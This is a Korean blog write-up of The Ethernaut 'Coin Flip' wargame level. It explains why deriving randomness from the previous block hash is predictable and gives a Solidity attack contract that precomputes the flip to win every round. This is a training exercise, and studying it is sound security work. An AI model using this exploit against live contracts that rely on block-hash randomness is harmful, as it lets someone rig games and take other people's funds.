Tyojong
[The Ethernaut] Coin Flip 본문
문제 설명

코드 분석



이전 블록해시값과 FACTOR를 나눈 몫이 1이면 true값 아니면 false값을 반환하여
_guess로 받은 bool값과 일치하면 consecutiveWins값이 1증가하고 틀리면 0으로 초기화된다.
이더리움에서 블록은 12초에 하나씩 생성되는데 하나의 블록에서 12초안에 10번의 트랜잭션을 보내면 모두 맞거나, 모두 틀리거나 50% 확률로 성공할 수 있는 가능성이 있다.

때문에 문제에서는 이를 방지하기 위해 이전 트랜잭션에서 사용한 블록 해시와 현재 트랜잭션의 블록 해시를 비교해 일치하면 revert시켜 모두 다른 트랜잭션에서 시도하도록 만들었다.
익스플로잇
EOA(사용자)가 CA1(공격 컨트랙트)를 실행하고 CA1이 CA2(문제 컨트랙트)를 실행하면 이 과정은 하나의 트랜잭션으로 실행된다. 때문에 EOA→CA1 →CA2가 동일한 블록에서 실행되기 때문에 CA1(공격 컨트랙트)에서 블록 해시값을 불러와 참/거짓 값을 계산해 나온 결과를 CA2(문제 컨트랙트)에 호출해 보내면 무조건 승리할 수 있다.
공격 컨트랙트 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack (address _target) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
ICoinFlip(_target).flip(side);
}
}
interface를 통해 CoinFlip컨트랙트의 flip함수를 가져오고 블록해시값과 FACTOR값을 통해 계산한 참/거짓 값을 flip함수 인자로 넣어 호출한다.

공격 컨트랙트를 배포한다.

cast send 명령어를 10번 실행하면

문제가 해결된다.
'web3 > The Ethernaut' 카테고리의 다른 글
| [The Ethernaut] Delegation (0) | 2026.01.27 |
|---|---|
| [The Ethernaut] Token (0) | 2026.01.26 |
| [The Ethernaut] Telephone (0) | 2026.01.07 |
| [The Ethernaut] Fallout (2) | 2026.01.02 |
| [The Ethernaut] Fallback (0) | 2025.09.13 |
